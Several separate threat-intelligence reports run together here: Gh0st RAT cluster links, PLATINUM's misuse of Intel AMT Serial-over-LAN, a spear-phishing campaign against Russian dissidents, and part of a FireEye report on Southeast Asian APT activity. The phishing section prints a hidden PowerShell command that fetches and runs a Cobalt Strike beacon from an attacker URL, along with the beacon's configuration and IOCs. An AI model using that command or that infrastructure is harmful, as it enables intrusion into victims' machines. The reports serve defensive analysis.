It appears unconnected to other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      57 Cluster: Tyjhu The Tyjhu cluster contains seven samples.
It is connected to the Winds cluster through common CC at troyok.3322.org.
N o r m a n  A S A  2 0 1 2  P a g e      58 Cluster: URATU The URATU cluster contains three samples.
It appears unconnected with other clusters.
However, recently it has been connected with attacks on Nepalese Government websites (12).
N o r m a n  A S A  2 0 1 2  P a g e      59 Cluster: W0LFKO The W0LFKO cluster consists of one sample.
It is linked to the Wangz cluster by the CC a1019500182.3322.org which replies W0LFKO when connection is attempted.
N o r m a n  A S A  2 0 1 2  P a g e      60 Cluster: Wangz There are eight samples in the Wangz cluster.
Wangz links with W0LFKO (see W0LFKO), IM007 (see IM007) clusters, and also with Xjjhi cluster through observed communication from the Wangz CC a6603892.gicp.net.
N o r m a n  A S A  2 0 1 2  P a g e      61 Cluster: whmhl The whmhl cluster consists of 9 samples actually only 8 are Gh0stRats.
The last sample is a DarkShell ddos bot.
It is included because it links this cluster with another.
The DarkShell bot connected to ddos.pk39.com on port 5566.
This resolved to the same IP as www.pk39.com, the CC server for the cb1st cluster.
The pcap from this connection reveals that ddos.pk39.com replies with whmhl.
Gotcha.
N o r m a n  A S A  2 0 1 2  P a g e      62 Cluster: Winds The Winds cluster encompasses 21 samples.
It is linked with the Tyjhu cluster (see Tyjhu), the PCRat cluster (see PCRat) and the MoZhe cluster (see MoZhe).
N o r m a n  A S A  2 0 1 2  P a g e      63 Cluster: World The World cluster consists of seven samples.
Samples in this cluster all give the impression that they use hardcoded IP addresses for their CC communication.
This is because the real CC ip is not stored in the executable, but exists base64 encoded in a text file downloaded from a remote site.
Thus these files are shown with two CC connections.
This cluster does not seem linked with other clusters.
However, there is a strong resemblance between these samples and some samples in the Wangz cluster (e.g.
c577b5a8d07982a2c6c42a7352c0cef8).
N o r m a n  A S A  2 0 1 2  P a g e      64 Cluster: X6RAT The X6RAT cluster consists of one sample.
It is linked to the MoZhe cluster (see MoZhe) and Gh0st.
N o r m a n  A S A  2 0 1 2  P a g e      65 Cluster: XDAPR The XDAPR cluster contains 28 samples.
It is linked with the KrisR, HXWAN, cb1st, FKJP3 and Lyyyy clusters.
(
See KrisR).
N o r m a n  A S A  2 0 1 2  P a g e      66 Cluster: xhjyk The xhjyk cluster consists of one sample.
Its CC server, wo379733061.3322.org, is used by another sample (MD5 2f463a39c10d507b4295e16b7b4e0033) which also connects to wk1888.com, the CC for Gh0st and the c1bst clusters.
Its also worth noting that one of the CCs for the KrisR cluster is wo379733063.3322.org  only one digit different from this CC, and corroborates the impression that the KrisR and cb1st clusters are connected.
N o r m a n  A S A  2 0 1 2  P a g e      67 Cluster: Xjjhj The Xjjhj cluster contains 19 samples.
It is linked with the Wangz, attac and QWPOT clusters.
N o r m a n  A S A  2 0 1 2  P a g e      68 Conclusions This study shows the presence of several logical links between different Ghost campaigns: Links between malware type (in this case illustrated by the network protocol magic tag), links in the CC infrastructure and to some extent links in the registration information.
Due to the necessary scope limitation, many other links had to remain unexamined.
However, the present work shows that some of the most active and prolific malware campaigns share enough connections indicate that the same groups or individuals are involved.
In the cases where we have been able to say something about the entities responsible for the attacks, it seems apparent that the persons involved can be considered career criminals.
These are people that have their hand in many different types of online crime, have been doing it for quite some time, and often target victims inside China itself.
Smaller clusters are in many ways more interesting.
They are often more difficult to track, as they obviously leave less clues as to who is behind the attack and what the purpose is.
Clusters that have been involved in targeted attacks typically belong to these.
N o r m a n  A S A  2 0 1 2  P a g e      69 References 1.
Wikipedia.
GhostNet.
Wikipedia.
[
Online] http://en.wikipedia.org/wiki/GhostNet.
2.
Clean-MX.
wt1888.com.
Clean-MX domain search.
[
Online] http://support.clean-mx.de/clean-mx/viruses.php?domainwt1888.com.
3.
Clean-MX.
81266966.com.
Clean-MX domain search.
[
Online] http://support.clean-mx.de/clean-mx/viruses.php?domain81266966.com.
4.
beishan.info.
[
Online] http://bbs.beishan.info/thread-849-1-1.html.
5.
cyberpolice.cn.
Nanchang Cyberpolice.
[
Online] http://www.nanchang.cyberpolice.cn/show_news.asp?ID1160.
6.
Blasco, Jaime.
Targeted attacks against Tibet organizations.
AlienVault Labs.
[
Online] http://labs.alienvault.com/labs/index.php/2012/targeted-attacks-against-tibet-organizations/.
7.
Villeneuve, Nart.
The Significance of the Nitro Attacks.
Trend Micro.
[
Online] http://blog.trendmicro.com/the-significance-of-the-nitro-attacks/.
8.
Command Five Pty Ltd. Command and Control in the Fifth Domain.
[
Online] http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf.
9.
University of Toronto.
Recent Observations in Tibet-Related Information Operations: Advanced Social Engineering for the Distribution of LURK Malware.
Citizen Lab.
[
Online] https://citizenlab.org/wp-content/uploads/2012/07/10-2012-recentobservationsintibet.pdf.
10.
Walton, Greg.
Tibetan journalists targeted by Gh0stRAT in Protest pictures.rar.
MalwareLab.
[
Online] https://malwarelab.zendesk.com/entries/21199507-tibetan-journalists-targeted-by-gh0strat-in- protest-pictures-rar.
11.
Blasco, Jaime.
New MaControl variant targeting Uyghur users, the Windows version using Gh0st RAT.
AlienVault Labs.
[
Online] http://labs.alienvault.com/labs/index.php/2012/new-macontrol-variant-targeting-uyghur-users-the- windows-version-using-gh0st-rat/.
12.
Giuliani, Gianluca og Sharf, Elad.
Nepalese government websites compromised to serve Zegost RAT .
Websense Security Labs Blog.
[
Online] http://community.websense.com/blogs/securitylabs/archive/2012/08/08/nepalese-government- websites-compromised-to-serve-zegost-backdoor.aspx.
N o r m a n  A S A  2 0 1 2  P a g e      70 Introduction The variants Clusters and links Overview plot  with Gh0st Overview plot  without Gh0st Example botnet infrastructure: wk1888.com Example botnet infrastructure: pk39.com Individual clusters Conclusions References
June 7, 2017 PLATINUM continues to evolve, find ways to maintain invisibility blogs.technet.microsoft.com /mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/ msft-mmpc Back in April 2016, we released the paper PLATINUM: Targeted attacks in South and Southeast Asia , where we detailed the tactics, techniques, and procedures of the PLATINUM activity group.
We described a group that was well-resourced and quickly adopted advanced techniques, such as hot patching to silently inject code into processes.
They used hot patching even when traditional injection techniques could have been sufficient and less costly to develop.
Since the 2016 publication, Microsoft has come across an evolution of PLATINUMs file-transfer tool, one that uses the Intel Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication.
This channel works independently of the operating system (OS), rendering any communication over it invisible to firewall and network monitoring applications running on the host device.
Until this incident, no malware had been discovered misusing the AMT SOL feature for communication.
Upon discovery of this unique file-transfer tool, Microsoft shared information with Intel, and the two companies collaborated to analyze and better understand the purpose and implementation of the tool.
We confirmed that the tool did not expose vulnerabilities in the management technology itself, but rather misused AMT SOL within target networks that have already been compromised to keep communication stealthy and evade security applications.
The updated tool has only been seen in a handful of victim computers within organizational networks in Southeast AsiaPLATINUM is known to customize tools based on the network architecture of targeted organizations.
The diagram below represents the file-transfer tools updated channel and network flow.
1/6 https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/ http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum feature article - Targeted attacks in South and Southeast Asia April 2016.pdf https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/ Figure 1.
PLATINUM file-transfer tool network flow The AMT SOL feature is not enabled by default and requires administrator privileges to provision for usage on workstations.
It is currently unknown if PLATINUM was able to provision workstations to use the feature or piggyback on a previously enabled workstation management feature.
In either case, PLATINUM would need to have gained administrative privileges on targeted systems prior to the features misuse.
AMT Serial-over-LAN (SOL) communication channel Active Management Technology (AMT) enables remote management of devices and is provided as a feature of Intel vPro processors and chipsets.
AMT runs in the Intel Management Engine (ME), which runs its own operating system to execute on an embedded processor located in the chipset (Platform Controller Hub, PCH).
As this embedded processor is separate from the primary Intel processor, it can execute even when the main processor is powered off and is therefore able to provide out-of-band (OOB) remote administration capabilities such as remote power-cycling and keyboard, video, and mouse control (KVM).
AMT has a Serial-over-LAN (SOL) feature that exposes a virtual serial device with a chipset-provided channel over 2/6 https://msdnshared.blob.core.windows.net/media/2017/06/1-PLATINUM-file-transfer-tool-network-flow.png TCP.
Figure 2.
AMT SOL device This functionality works independently of the device host operating system networking stackthe ME makes use of its own networking stack and has access to the hardware network interface.
This means that even if networking is disabled on the host, SOL will still function as long as the device is physically connected to the network.
Figure 3.
AMT SOL component stack Furthermore, as the SOL traffic bypasses the host networking stack, it cannot be blocked by firewall applications running on the host device.
To enable SOL functionality, the device AMT must be provisioned.
Also, establishment of a SOL session requires a username and passwordusually selected during device provisioning.
The tool would therefore require the relevant credentials to establish such a session.
One possibility is that PLATINUM might have obtained compromised credentials from victim networks.
Another possibility is that the targeted systems did not have AMT provisioned and PLATINUM, once theyve obtained 3/6 https://msdnshared.blob.core.windows.net/media/2017/06/2-AMT-SOL-device.png https://msdnshared.blob.core.windows.net/media/2017/06/3-AMT-SOL-component-stack.png administrative privileges on the system, proceeded to provision AMT.
There are several methods for provisioning AMT.
The most straightforward is host-based provisioning (HBP), which can be done from within the host Windows OS itself and requires administrator permissions.
During the provisioning process, PLATINUM could select whichever username and password they wish.
HBP enables access to a subset of AMT functionality, which includes SOL but restricts access to other features such as KVM redirect.
How PLATINUM uses SOL In the first version of the file-transfer tool, which we described in the original paper, network communication is done over TCP/IP by utilizing the regular network APIs.
The presentation layer protocol is straightforward: the buffer is made up of a two-byte headerthe indication lengthand the Blowfish-encrypted payload data itself.
Figure 4.
TCP protocol length header and payload The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDKs Redirection Library API (imrsdk.dll).
Data transactions are performed by the calls IMR_SOLSendText()/IMR_SOLReceiveText(), which are analogous to networking send() and recv() calls.
The SOL protocol used is identical to the TCP protocol other than the addition of a variable-length header on the data for error detection.
Also, the updated client sends an unencrypted packet with the content 007 before authentication.
Figure 5.
AMT SOL protocol error-detection header, length header, and payload The new header has various fields to detect possible data corruption errors, including a CRC-16 and a binary index of the bytes having the set of most significant bits (MSB).
4/6 http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum feature article - Targeted attacks in South and Southeast Asia April 2016.pdf https://msdnshared.blob.core.windows.net/media/2017/06/4-TCP-protocol-length-header-and-payload.png https://msdnshared.blob.core.windows.net/media/2017/06/5-AMT-SOL-protocol-error-detection-header-length-header-and-payload.png https://msdnshared.blob.core.windows.net/media/2017/06/6b-Construction-of-error-detection-header.png Figure 6.
Construction of error-detection header The following video demonstrates how the PLATINUM tool can be used to transfer malware to a computer with AMT provisioned: Detecting unusual binaries that use AMT If an attacker who has access to AMT credentials attempts to use the SOL communication channel on a computer running Windows Defender ATP, behavior analytics coupled with machine learning can detect the targeted attack activity.
Windows Defender ATP displays an alert similar to the one shown below.
Windows Defender ATP can differentiate between legitimate usage of AMT SOL and targeted attacks attempting to use it as a communication channel.
Figure 7.
Windows Defender ATP detection of malicious AMT SOL channel activity The PLATINUM tool is, to our knowledge, the first malware sample observed to misuse chipset features in this way.
While the technique used here by PLATINUM is OS independent, Windows Defender ATP can detect and notify network administrators of attempts to leverage the AMT SOL communication channel for unauthorized activity, specifically when used against a computer running Windows.
At Microsoft, we continuously monitor the threat landscape for novel techniques used for malicious purposes.
We also constantly build mechanisms that mitigate resulting risks and protect customers.
The discovery of this new PLATINUM technique and the development of detection capabilities highlight the work the Windows Defender ATP team does to provide customers greater visibility into suspicious activities transpiring on their networks.
Microsoft reiterates that the PLATINUM tool does not expose flaws in Intel Active Management Technology (AMT), but uses the technology within an already compromised network to evade security monitoring tools.
David Kaplan, Stefan Sellmer, and Andrea Lelli 5/6 http://aka.ms/wdatp https://msdnshared.blob.core.windows.net/media/2017/06/7b-Windows-Defender-APT-detection.png Windows Defender ATP Research Team 6/6 PLATINUM continues to evolve, find ways to maintain invisibility AMT Serial-over-LAN (SOL) communication channel How PLATINUM uses SOL Detecting unusual binaries that use AMT
1/15 Threat Intelligence Team March 29, 2022 New spear phishing campaign targets Russian dissidents blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents This blog post was authored by Hossein Jazi.
Updated to clarify the two different campaigns (Cobalt Strike and Rat) Several threat actors have taken advantage of the war in Ukraine to launch a number of cyber attacks.
The Malwarebytes Threat Intelligence team is actively monitoring these threats and has observed activities associated with the geopolitical conflict.
More specifically, weve witnessed several APT actors such as Mustang Panda, UNC1151 and SCARAB that have used war-related themes to target mostly Ukraine.
Weve also observed several different wipers and cybercrime groups such as FormBook using the same tactics.
Beside those known groups we saw an actor that used multiple methods to deploy a variants of Quasar Rat.
These methods include using documents that exploit CVE-2017-0199 and CVE-2021-40444, macro-embedded documents, and executables.
On March 23, we identified a new campaign that instead of targeting Ukraine is focusing on Russian citizens and government entities.
Based on the email content it is likely that the threat actor is targeting people that are against the Russian government.
The spear phishing emails are warning people that use websites, social networks, instant messengers and VPN services that have been banned by the Russian Government and that criminal charges will be laid.
Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike.
Spear phishing as the main initial infection vector https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/ https://twitter.com/h2jazi/status/1501198521139175427 https://twitter.com/h2jazi/status/1500607147989684224 https://twitter.com/h2jazi/status/1505887653111209994 https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/ https://blog.malwarebytes.com/threat-intelligence/2022/03/formbook-spam-campaign-targets-citizens-of-ukraineEFB88F/ https://twitter.com/h2jazi/status/1501941517409083397 2/15 These emails pretend to be from the Ministry of Digital Development, Telecommunications and Mass Communications of the Russian Federation and Federal Service for Supervision of Communications, Information Technology and Mass Communications of Russia.
We have observed two documents associated with this campaign that both exploit CVE-2021- 40444.
Even though CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge this was the first time we observed an attacker use RTF files instead of Word documents to exploit this vulnerability.
Also the actor leveraged a new variant of this exploit called CABLESS in this attack.
Sophos has reported an attack that used a Cabless variant of this exploit but in that case the actor has not used the RTF file and also used RAR file to prepend the WSF data to it.
Email with RTF file: , (Federal Service for Supervision of Communications, Information Technology and Mass Communications) , (A warning Ministry of Digital Development, Telecommunications and Mass Media of the Russian Federation) Figure 1: Phishing template Figure 2: Phishing template https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/ https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish1-2.png https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish2.png 3/15 Email with archive file:  , , .
(
informing the public about critical changes in the field of digital technologies, services, sanctions and criminal liability for their use.)
, (
Attention Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation) Figure 3: Phishing template Email with link: , (Attention Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation) Figure 4: phishing template Victimology The actor has sent its spear phishing emails to people that had email with these domains: mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, yandex.ru, stavminobr.ru, mon.alania.gov.ru, astrobl.ru, 38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru, 66.fskn.gov.ru, bk.ru, ukr.net https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish4.png https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish3.png 4/15 Based on these domains, here is the list of potential victims: Portal of authorities of the Chuvash Republic Official Internet portal Russian Ministry of Internal Affairs ministry of education and science of the republic of Altai Ministry of Education of the Stavropol Territory Minister of Education and Science of the Republic of North Ossetia-Alania Government of Astrakhan region Ministry of Education of the Irkutsk region Portal of the state and municipal service Moscow region Ministry of science and higher education of the Russian Federation Analysis: The lures used by the threat actor are in Russian language and pretend to be from Russias Ministry of Information Technologies and Communications of the Russian Federation and MINISTRY OF DIGITAL DEVELOPMENT, COMMUNICATIONS AND MASS COMMUNICATIONS.
One of them is a letter about limitation of access to Telegram application in Russia.
5/15 Figure 5: Lure letter https://blog.malwarebytes.com/wp-content/uploads/2022/03/russia.png 6/15 Figure 6: Lure template These RTF files contains an embedded url that downloads an html file which exploits the vulnerability in the MSHTML engine.
http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html The html file contains a script that executes the script in WSF data embedded in the RTF file.
Figure 7: html file The actor has added WSF data (Windows Script Host) at the start of the RTF file.
As you can see from figure 8, WSF data contains a JScript code that can be accessed from a remote location.
In this case this data has been accessed using the downloaded html exploit file.
https://blog.malwarebytes.com/wp-content/uploads/2022/03/cveblock.png https://blog.malwarebytes.com/wp-content/uploads/2022/03/Screen-Shot-2022-03-25-at-2.37.47-PM.png 7/15 Figure 8: WSF data Executing this scripts leads to spawning PowerShell to download a CobaltStrike beacon from the remote server and execute it on the victims machine.
(
The deployed CobaltStrike file name is Putty) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden ProgressPreference  SilentlyContinue Invoke-WebRequest http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe -OutFile env:TEMP\putty.exe .
env:TEMP\putty.exe Start-Sleep 15 The following shows the CobaltStrike config: https://blog.malwarebytes.com/wp-content/uploads/2022/03/Screen-Shot-2022-03-25-at-1.43.00-PM.png 8/15  BeaconType: [ HTTPS ], Port: 443, SleepTime: 38500, MaxGetSize: 1398151, Jitter: 27, C2Server: wikipedia-book.vote,/async/newtab_ogb, HttpPostUri: /gen_204, Malleable_C2_Instructions: [ Remove 17 bytes from the end, Remove 32 bytes from the beginning, Base64 URL-safe decode ], SpawnTo: /4jEZLD/DHKDj1CbBvlJIg, HttpGet_Verb: GET, HttpPost_Verb: POST, HttpPostChunk: 96, Spawnto_x86: windir\\syswow64\\gpupdate.exe, Spawnto_x64: windir\\sysnative\\gpupdate.exe, CryptoScheme: 0, Proxy_Behavior: Use IE settings, Watermark: 1432529977, bStageCleanup: True, bCFGCaution: True, KillDate: 0, bProcInject_StartRWX: True, bProcInject_UseRWX: False, bProcInject_MinAllocSize: 16700, ProcInject_PrependAppend_x86: [ kJCQ, Empty ], ProcInject_PrependAppend_x64: [ kJCQ, Empty ], ProcInject_Execute: [ ntdll.dll:RtlUserThreadStart, SetThreadContext, NtQueueApcThread-s, kernel32.dll:LoadLibraryA, RtlCreateUserThread ], ProcInject_AllocationMethod: NtMapViewOfSection, bUsesCookies: True, HostHeader:  Similar lure used by another actor 9/15 We also have identified activity by another actor that uses a similar lure as the one used in the previously mentioned campaign.
This activity is potentially related to Carbon Spider and uses       , (Federal Service for Supervision of Communications, Information Technology and Mass Communications) of Russia as a template.
In this case, the threat actor has deployed a PowerShell-based Rat.
https://www.virustotal.com/gui/domain/swordoke.com/community 10/15 Figure 9: template The dropped PowerShell script is obfuscated using a combination of Base64 and custom obfuscation.
https://blog.malwarebytes.com/wp-content/uploads/2022/03/block-doc1.png 11/15 Figure 10: Dropped PS script After deobfuscating the script, you can see the Rat deployed by this actor.
This PowerShell based Rat has the capability to get the next stage payload and execute it.
The next stage payload can be one of the following file types: JavaScript PowerShell Executable DLL All of Its communications with its server are in Base64 format.
This Rat starts its activity by setting up some configurations which include the C2 url, intervals, debug mode and a parameter named group that initialized with Madagascar which probably is another alias of the actor.
After setting up the configuration, it calls the Initialize-Engine function.
This function collects the victims info including OS info, Username, Hostname, Bios info and also a host- domain value that shows if the machine in a domain member or not.
It then appends all the collected into into a string and separate them by  character and at the end it add the group name and API config value.
The created string is being send to the server using Send-WebInit function.
This function adds INIT string to the created string and base64 encodes it and sends it to the server.
https://blog.malwarebytes.com/wp-content/uploads/2022/03/ps-dropped.png 12/15 Figure 11: PowerShell Rat After performing the initialization, it goes into a loop that keeps calling the Invoke-Engine function.
This function checks the incoming tasks from the server, decodes them and calls the proper function to execute the incoming task.
If there is no task to execute, it sends GETTASK in Base64 format to its server to show it is ready to get tasks and execute them.
The IC command is used to delete itself.
https://blog.malwarebytes.com/wp-content/uploads/2022/03/ps-deobfuscated.png 13/15 Figure 12: Invoke task The result of the task execution will be send to the server using PUTTASK command.
Infrastructure The following shows the infrastructure used by this actor highlighting that the different lures are all connected.
https://blog.malwarebytes.com/wp-content/uploads/2022/03/invoke-task.png 14/15 Figure 12: Infrastructure The Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the Ukraine war.
We are protecting our customers and sharing additional indicators of compromise.
IOCs RTF files host domain: digital-ministry[.
]ru RTF files: PKH telegram.rtf b19af42ff8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383e1e PKH.rtf 38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20 MSHTML exploit: wallpaper[.
]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html 4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385c CobaltStrike Download URL: wallpaper[.
]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe CobaltStrike: Putty.exe d4eaf26969848d8027df7c8c638754f55437c0937fbf97d0d24cd20dd92ca66d CobaltStrike C2: wikipedia-book[.
]vote/async/newtab_ogb Macro based maldoc: c7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28 https://blog.malwarebytes.com/wp-content/uploads/2022/03/undefined.png 15/15 PowerShell based RAT: 9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0 PowerShell Rat C2: swordoke[.
]com
S P E C I A L  R E P O R T SECURITY REIMAGINED F I R E E Y E  T H R E A T  I N T E L L I G E N C E SOUTHEAST ASIA: AN EVOLVING CYBER THREAT LANDSCAPE MARCH 2015 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 2 Introduction   3 Key Findings 4 Detecting Targeted Threats in Southeast Asia and Beyond 4 Malware Hitting Southeast Asian Targets 5 Targeted Malware, Industry Breakdown 6 Detecting Non-Targeted Threats 6 Southeast Asias Leading Industry Sectors Attract APT Actors 7 Regional Governments and Militaries: In APT Groups Crosshairs 12 APT Groups and the South China Sea: Territorial Disputes with a Digital Edge   12 Threat Groups Target Southeast Asian Governments and Militaries over Territorial Claims  13 APT Groups Gather Political Intelligence   13 Conclusion 14 CONTENTS MARCH 2015 http://www.fireeye.com http://www.fireeye.com/products-and-solutions/threat-analytics-platform.html SPECIAL REPORT 33 SPECIAL REPORT 3 While many of the headline- grabbing cyber security breaches of 2014 involved major U.S. companies, Southeast Asia quietly dealt with its share of cyber attacks.
Like the U.S., companies in this region face a complex threat landscape filled with advanced cyber attackers intent on stealing corporate data and state secrets.
Advanced persistent threat (APT) actors are one of the biggest challenges for the region.
Leading companies that do business in the energy, telecommunications, high- tech, finance, and transportation sectors are targets of APT groups.
This report describes malware detected at commercial and government entities across Singapore, Malaysia, Thailand, Vietnam, Philippines, Indonesia, and Brunei.
It also discusses advanced threat groups behind many of these attacks and their unique motives in this region.
THE MISSION IS TWO-FOLD: Steal intellectual property and inside information from leading companies.
INTRODUCTION Obtain intelligence on rival governments during long- running political disputes, especially those involving the disputed South China Sea.
Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 4 SPECIAL REPORT 4 KEY FINDINGS DETECTING MALWARE ACROSS SOUTHEAST ASIA CYBER THREATS TO KEY INDUSTRIES CYBER THREATS TO GOVERNMENTS From July to December 2014, FireEye products helped 29 percent of our customers in Southeast Asia detect malware used by APT groups and other actors targeting their networks.
Southeast Asian companies regularly attract the interest of cyber spies and criminals looking to steal information about the regions growing industry sectorsenergy, telecommunications, high-tech, transportation, and finance.
Territorial disputes in the South China Sea drive cyber espionage activity in Southeast Asia.
Both government and private industries are targets of threat actors seeking to steal information in these disputes.
Detecting Targeted Threats in Southeast Asia and Beyond From July to December 2014, FireEye products helped 29 percent of our customers in Southeast Asia detect malware used by APT groups and other attackers targeting their networks.
When factoring in the rest of our Asia-Pacific clients, that percentage jumps to 37 percentsignificantly higher than the global average of 27 percent.
(
These statistics are generated from customers who have opted to share anonymized data through FireEye.)
In the Asia-Pacific region, FireEye products helped 37 of our customers detect malware.
29 60 HONG KONG 52 37 54 PERCENTAGE OF FIREEYE CUSTOMERS TARGETED MALWARE ALERTS JULY - DECEMBER 2014 31 29 27 27 27 26 23 TAIWAN SOUTH KOREA ASIA PACIFIC REGION INDIA SOUTHEAST ASIA REGION AUSTRALIA GLOBAL JAPAN THAILAND SINGAPORE 5 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT APT AND TARGETED MALWARE DETECTIONS JULY-DECEMBER 2014: GLOBAL LV (aka NJRAT) 24 Gh0STRAT 20 Kaba (aka SOGU) 15 SpyNet 11 XtremeRAT 9 ZXShell 8 ChinaChopper 4 PHOTO 3 Page 3 SAFERSING 3 APT AND TARGETED MALWARE DETECTIONS JULY - DECEMBER 2014: SOUTHEAST ASIA Lecna 27 Gh0STRAT 14 Mirage 7 Page 7 Downloader.
Pnaip 6 CannonFodder 6 Leouncia 5 Kaba (aka SOGU) 5 LV (aka NJRAT) 6 Houdini 5 XtremeRAT 4 NetEagle 4 1qaz 4 6 Malware Hitting Southeast Asian Targets Lecna, Mirage, CannonFodder, and Leouncia were among the most frequently detected malware families.
27 14 77 6 6 5 5 6 5 4 4 4 24 20 15 11 9 843 3 3 6 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT NON-TARGETED MALWARE DETECTIONS JULY - DECEMBER 2014 GLOBALLY Asprox 29 Zeus 21 Kuluoz 12 Sality 10 ZeroAccess 7 Kelihos 5 Fareit 4 Conficker 4 Carberp 4 Necurs 4 APT AND TARGETED MALWARE DETECTIONS BY INDUSTRY IN SOUTHEAST ASIA Government 27 Telecom 24 Financial services 16 High-tech 10 Transportation 10 Energy/utilities 7 Education 6 Targeted Malware, Industry Breakdown More than half of the targeted malware that FireEye detected in Southeast Asia came from government and telecommunications sites.
(
Note: these statistics do not account for the number of appliances at a customer site or the number of FireEye customers in a given industry.)
Detecting Non-Targeted Threats In addition to the targeted and APT malware, organizations in the region frequently detect other threats, including banking Trojans, botnets, and other types of cyber crime.
Regionally, our customers most frequently detect Zeus (a banking Trojan) and Sality (a multi-featured Trojan) on their networks.
These commodity malware families are widely known, but dismissing the threat they pose is a mistake.
For one, they continue to evade detection by traditional security tools, making them highly effective.
And advanced threat groups often use these common malware families to gain a foothold into corporate environments.
16 27 10 24 10 6 7 29 21 12 10 7 5 4 4 4 4 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 7 SOUTHEAST ASIAS LEADING INDUSTRY SECTORS ATTRACT APT ACTORS We observe APT groups routinely targeting companies in Southeast Asia to steal intellectual property (IP).
We believe that once stolen, this IP often makes its way to Chinese companies.
These companies can use the stolen IP to bypass years of research and development costs and get an inside edge when they deal with competitors in the region.
As increasing investments and diversifying economies spur development in the region, this growth simultaneously becomes even more attractive to APT groups.
Southeast Asias financial sector faces a dual threat.
First, standard cybercriminals are looking to steal money from them.
Second, advanced threat actors are seeking sensitive financial information for a business advantage.
These industry sectors appear to be most heavily targeted by APT groups: ENERGY TELECOMMUNICATIONS HIGH-TECH TRANSPORTATION FINANCIAL SERVICES 8 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 8 The following table outlines some of the targeted sectors and why APT groups would target companies information: Sector Why are APT Groups Interested?
Recent Cases Most Likely Corporate Targets Energy APT groups have long targeted U.S. and multinational corporations with strong offerings in green technology and other clean energy production.
RD breakthroughs in this sector would provide tremendous value to Chinas energy sector, especially in light of continued international pressure to lower emissions.
Southeast Asia is an important potential source of hydrocarbon reserves.
The disputed territories in the South China Sea are estimated to contain a considerable amount of natural gas and petroleum.
As rapid economic growth creates a surge in energy demand, energy resources in the disputed maritime territories have become increasingly valuable.
All of these factors are likely to provoke further APT activity.
FireEye has observed multiple instances of APT groups breaching the networks of regional energy companies.
In one case, we discovered three different threat groups attempting to gain access to the network of an oil company that conducts offshore oil exploration.
The threat groups appeared to target affiliates of the company, as well as its infrastructure development divisions.
We believe these threat groups chiefly sought data of competitive value.
But they were also on the lookout for any information about the companys exploration plans and movements in the area.
We have also observed targeted threat actors deploying malware against the networks of a major electric grid operator in the region.
Green Energy Technology Researchers and Providers Utilities Oil and Gas Producers Critical Infrastructure Providers and Operators 9 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 9 Sector Why are APT Groups Interested?
Recent Cases Most Likely Corporate Targets Telecommunications We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies.
More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors.
Several times, APT5 has targeted organizations and personnel based in Southeast Asia.
APT5 has been active since at least 2007.
It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure.
APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications.
APT5 targeted the network of an electronics firm that sells products for both industrial and military applications.
The group subsequently stole communications related to the firms business relationship with a national military, including inventories and memoranda about specific products they provided.
In one case in late 2014, APT5 breached the network of an international telecommunications company.
The group used malware with keylogging capabilities to monitor the computer of an executive who manages the companys relationships with other telecommunications companies.
This method allowed APT5 to collect data on topics such as: Pricing discussions, bidding strategies and competitor pricing information Schedules for contract bidding and product deployment Opportunities in Asian telecommunications market Business opportunities with other  telecommunications companies APT5 also targeted the networks of some of Southeast Asias major telecommunications providers with Leouncia malware.
We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers systems.
Regional Telecommunication Providers Asia-Based Employees of Global Telecommunications and Tech Firms High-Tech Manufacturing Military Application Technology High-Tech 10 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 10 Sector Why are APT Groups Interested?
